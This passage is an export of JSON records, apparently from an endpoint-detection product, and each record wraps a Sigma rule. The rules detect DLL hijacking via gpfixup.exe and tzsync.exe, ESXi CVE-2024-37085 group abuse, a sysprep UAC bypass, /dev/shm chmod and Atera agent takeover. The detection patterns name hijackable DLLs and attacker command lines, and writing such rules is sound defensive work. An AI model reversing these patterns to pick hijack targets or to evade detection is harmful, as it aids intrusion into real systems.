+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602838Z",
+  "creation_date": "2026-03-23T11:45:34.602842Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602849Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_gpfixup.yml",
+  "content": "title: DLL Hijacking via gpfixup.exe\nid: 7b4c77e7-bb49-48f3-a0a5-dad094238be9\ndescription: |\n    Detects potential Windows DLL Hijacking via gpfixup.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'gpfixup.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\activeds.dll'\n            - '\\credui.dll'\n            - '\\dsrole.dll'\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7b4c77e7-bb49-48f3-a0a5-dad094238be9",
+  "rule_name": "DLL Hijacking via gpfixup.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via gpfixup.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7b4df4b6-addb-4e81-b827-888adb454c64",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610443Z",
+  "creation_date": "2026-03-23T11:45:34.610446Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610454Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.rapid7.com/blog/post/2024/07/30/vmware-esxi-cve-2024-37085-targeted-in-ransomware-campaigns/",
+    "https://attack.mitre.org/techniques/T1078/002"
+  ],
+  "name": "t1078_002_possible_cve_2024_37085_exp_net.yml",
+  "content": "title: Possible Exploitation of ESXi CVE-2024-37085 Authentication Bypass via net.exe\nid: 7b4df4b6-addb-4e81-b827-888adb454c64\ndescription: |\n    Detects net.exe commands possibly indicating the exploitation of an authentication bypass vulnerability in domain-joined ESXi hypervisors (CVE-2024-37085).\n    VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named \"ESX Admins\" to have full administrative access by default.\n    This group is not a built-in group in Active Directory and does not exist by default.\n    It is recommended to investigate and determine if this is a legitimate administrative action.\nreferences:\n    - https://www.rapid7.com/blog/post/2024/07/30/vmware-esxi-cve-2024-37085-targeted-in-ransomware-campaigns/\n    - https://attack.mitre.org/techniques/T1078/002\ndate: 2024/07/30\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1078.002\n    - cve.2024-37085\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.CVE-2024-37085\n    - classification.Windows.Exploit.ESXi\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\net1.exe'\n        CommandLine|contains|all:\n            - ' group'\n            - 'ESX Admins'\n            - ' ?add'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7b4df4b6-addb-4e81-b827-888adb454c64",
+  "rule_name": "Possible Exploitation of ESXi CVE-2024-37085 Authentication Bypass via net.exe",
+  "rule_description": "Detects net.exe commands possibly indicating the exploitation of an authentication bypass vulnerability in domain-joined ESXi hypervisors (CVE-2024-37085).\nVMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named \"ESX Admins\" to have full administrative access by default.\nThis group is not a built-in group in Active Directory and does not exist by default.\nIt is recommended to investigate and determine if this is a legitimate administrative action.\n",
+  "rule_creation_date": "2024-07-30",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7b7ca954-dcc7-4400-81d0-5affcc73a639",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092462Z",
+  "creation_date": "2026-03-23T11:45:34.092464Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092468Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.jpcert.or.jp/en/2015/02/a-new-uac-bypass-method-that-dridex-uses.html",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_uac_bypass_sysprep.yml",
+  "content": "title: UAC Bypass Executed via sysprep\nid: 7b7ca954-dcc7-4400-81d0-5affcc73a639\ndescription: |\n    Detects the execution of a UAC bypass via sysprep.exe through a DLL hijacking.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible to look for suspicious behavior, as well as the DLL loaded to look for malicious content.\nreferences:\n    - https://blogs.jpcert.or.jp/en/2015/02/a-new-uac-bypass-method-that-dridex-uses.html\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/09/17\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection_standard_hijack:\n        Image: '?:\\Windows\\System32\\sysprep\\sysprep.exe'\n        ImageLoaded|endswith: '\\Windows\\System32\\sysprep\\\\*.dll'\n\n    selection_renamed_hijack:\n        Image: '?:\\Windows\\System32\\oobe.exe'\n        ImageLoaded|endswith: '\\Windows\\System32\\\\*.dll'\n\n    selection_comctl32_sxs:\n        Image: '?:\\Windows\\System32\\sysprep\\sysprep.exe'\n        ImageLoaded|endswith: '\\Windows\\System32\\sysprep\\sysprep.exe.local\\\\*\\comctl32.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    exclusion_other_signed:\n        Signed: 'true'\n        Signature:\n            - 'Sophos Ltd'  # C:\\Windows\\System32\\hmpalert.dll\n            - 'Symantec Corporation' # C:\\Windows\\System32\\sysfer.dll\n            - 'NVIDIA Corporation' # C:\\Windows\\System32\\DriverStore\\FileRepository\\nvdm.inf_amd64_0d270efa18f661b0\\nvdlistx.dll\n            - 'Nexthink S.A.'  # c:\\windows\\system32\\nxtwpm-6.29.2.1.dll\n            - 'National Instruments Corporation' # c:\\windows\\system32\\nimdnsResponder.dll\n            - 'Citrix Systems, Inc.' # C:\\Windows\\System32\\CtxKerbProvider.dll\n            - 'Trend Micro, Inc.' # C:\\Windows\\System32\\tmumh\\20019\\TmMon\\2.9.0.1041\\tmmon64.dll, C:\\Windows\\System32\\tmumh\\20019\\AddOn\\8.55.0.1129\\TmUmEvt64.dll\n\n    exclusion_not_signed:\n        sha256:\n            - '29b4ed3795cec1177eb367132914ce21c194cdec5db9dc923fd928c85e94d821' # C:\\Windows\\System32\\apphelp.dll\n            - '3603fadca0060bd201148f9d59e4e2627f024609a6463ab525b5d1ad17bdcd10' # C:\\Windows\\System32\\RpcRtRemote.dll\n            - '127506d1db38275614cbeb047c133718ef9d03266ba9c98be55ec7847cfc9c3d' # C:\\Windows\\System32\\netutils.dll\n\n    condition: 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7b7ca954-dcc7-4400-81d0-5affcc73a639",
+  "rule_name": "UAC Bypass Executed via sysprep",
+  "rule_description": "Detects the execution of a UAC bypass via sysprep.exe through a DLL hijacking.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible to look for suspicious behavior, as well as the DLL loaded to look for malicious content.\n",
+  "rule_creation_date": "2020-09-17",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7b819fb7-ea04-4fb8-a01f-693a84ccb874",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088019Z",
+  "creation_date": "2026-03-23T11:45:34.088021Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088026Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.talosintelligence.com/mustang-panda-targets-europe/",
+    "https://attack.mitre.org/techniques/T1036/"
+  ],
+  "name": "t1036_suspicious_execution_from_user_public_libraries.yml",
+  "content": "title: Suspicious Process Executed from Libraries Folder\nid: 7b819fb7-ea04-4fb8-a01f-693a84ccb874\ndescription: |\n    Detects a suspicious execution from the libraries folder of the Public user.\n    This folder is an uncommon directory for binaries to execute from and is often abused by attackers.\n    It is recommended to analyze the executed process to look for malicious behavior or content.\nreferences:\n    - https://blog.talosintelligence.com/mustang-panda-targets-europe/\n    - https://attack.mitre.org/techniques/T1036/\ndate: 2024/03/06\nmodified: 2025/01/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|startswith: '?:\\Users\\Public\\Libraries\\'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7b819fb7-ea04-4fb8-a01f-693a84ccb874",
+  "rule_name": "Suspicious Process Executed from Libraries Folder",
+  "rule_description": "Detects a suspicious execution from the libraries folder of the Public user.\nThis folder is an uncommon directory for binaries to execute from and is often abused by attackers.\nIt is recommended to analyze the executed process to look for malicious behavior or content.\n",
+  "rule_creation_date": "2024-03-06",
+  "rule_modified_date": "2025-01-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7b923961-8481-4b2a-beb4-2f26146366fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086388Z",
+  "creation_date": "2026-03-23T11:45:34.086390Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086394Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor",
+    "https://attack.mitre.org/techniques/T1222/002/"
+  ],
+  "name": "t1222_002_chmod_executable_in_shared_memory_folder.yml",
+  "content": "title: Execution Permission Set to a File in a Shared Memory Folder\nid: 7b923961-8481-4b2a-beb4-2f26146366fa\ndescription: |\n    Detects a suspicious attempt to give the execution permissions to a file located into a shared memory folder using the chmod command.\n    This is often used by attackers to give execution permission to their malicious tools, either compiled locally or downloaded from the internet.\n    It is recommended to investigate the file to determine its legitimacy.\nreferences:\n    - https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor\n    - https://attack.mitre.org/techniques/T1222/002/\ndate: 2024/10/09\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - attack.defense_evasion\n    - attack.t1222.002\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        Kind: 'chmod'\n        Mode|endswith: '7??'\n        ProcessImage|endswith: '/chmod'\n        Path|startswith: '/dev/shm'\n\n    filter_directories:\n        Path|endswith: '/'\n\n    filter_recursive:\n        ProcessCommandLine|contains: ' -R '\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7b923961-8481-4b2a-beb4-2f26146366fa",
+  "rule_name": "Execution Permission Set to a File in a Shared Memory Folder",
+  "rule_description": "Detects a suspicious attempt to give the execution permissions to a file located into a shared memory folder using the chmod command.\nThis is often used by attackers to give execution permission to their malicious tools, either compiled locally or downloaded from the internet.\nIt is recommended to investigate the file to determine its legitimacy.\n",
+  "rule_creation_date": "2024-10-09",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004",
+    "attack.t1222.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7bcf3a36-198e-4009-b9ca-2d44973c9bda",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603727Z",
+  "creation_date": "2026-03-23T11:45:34.603730Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603738Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/MaxRogers5/status/1572655029018038272",
+    "https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/",
+    "https://attack.mitre.org/techniques/T1219/002/"
+  ],
+  "name": "t1219_002_suspicious_atera_agent_registry_configuration_change.yml",
+  "content": "title: Suspicious Atera Agent Registry Configuration Change\nid: 7bcf3a36-198e-4009-b9ca-2d44973c9bda\ndescription: |\n    Detects suspicious registry configuration changeS of the legitimate remote access tool Atera Agent.\n    Attackers can maliciously use Atera Agent by reconfiguring it to point to an attacker-controlled email address, thus providing remote access.\n    It is recommended to analyze the changes made to the IntegratorLogin registry key to determine if the email set is linked with a legitimate administrator.\nreferences:\n    - https://twitter.com/MaxRogers5/status/1572655029018038272\n    - https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/\n    - https://attack.mitre.org/techniques/T1219/002/\ndate: 2022/09/26\nmodified: 2025/06/27\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1219.002\n    - classification.Windows.Source.Registry\n    - classification.Windows.RMM.Atera\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SOFTWARE\\ATERA Networks\\AlphaAgent\\IntegratorLogin'\n        Details|contains:\n            - '@outlook'\n            - '@hotmail'\n            - '@msn'\n            - '@aol'\n            - '@yahoo'\n            - '@live'\n            - '@yandex'\n            - '@gmail'\n            - '@protonmail'\n            - '@mail.ru'\n            - '@mailto.plus'\n            - '@dropmail'\n            - '@firemail.com.br' # https://x.com/johnk3r/status/1854695923537805598\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7bcf3a36-198e-4009-b9ca-2d44973c9bda",
+  "rule_name": "Suspicious Atera Agent Registry Configuration Change",
+  "rule_description": "Detects suspicious registry configuration changeS of the legitimate remote access tool Atera Agent.\nAttackers can maliciously use Atera Agent by reconfiguring it to point to an attacker-controlled email address, thus providing remote access.\nIt is recommended to analyze the changes made to the IntegratorLogin registry key to determine if the email set is linked with a legitimate administrator.\n",
+  "rule_creation_date": "2022-09-26",
+  "rule_modified_date": "2025-06-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7bd40b3f-9b14-4f0a-a24f-45c262b3e053",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587688Z",
+  "creation_date": "2026-03-23T11:45:34.587691Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587699Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tzsync.yml",
+  "content": "title: DLL Hijacking via tzsync.exe\nid: 7bd40b3f-9b14-4f0a-a24f-45c262b3e053\ndescription: |\n    Detects potential Windows DLL Hijacking via tzsync.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'tzsync.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.dll'\n            - '\\rsaenh.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7bd40b3f-9b14-4f0a-a24f-45c262b3e053",
+  "rule_name": "DLL Hijacking via tzsync.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via tzsync.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7c308e9d-2d15-4d5b-90b5-1ec0b1c8a057",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587491Z",
+  "creation_date": "2026-03-23T11:45:34.587495Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587502Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_eventcreate.yml",
